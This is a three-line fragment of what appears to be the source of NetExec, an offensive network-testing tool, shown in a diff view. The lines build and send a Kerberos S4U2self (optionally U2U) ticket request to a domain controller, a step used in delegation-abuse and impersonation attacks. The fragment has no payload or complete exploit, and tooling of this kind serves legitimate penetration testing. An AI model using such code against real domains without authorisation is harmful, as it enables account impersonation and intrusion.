nxc_logger.info(f"Requesting S4U2self{'+U2U' if u2u else ''}")
message = encoder.encode(tgs_req)
r = sendReceive(message, domain, kdcHost)
Loaded 100 of 124 files, more files were not shown because too many files have changed in this diff. Show more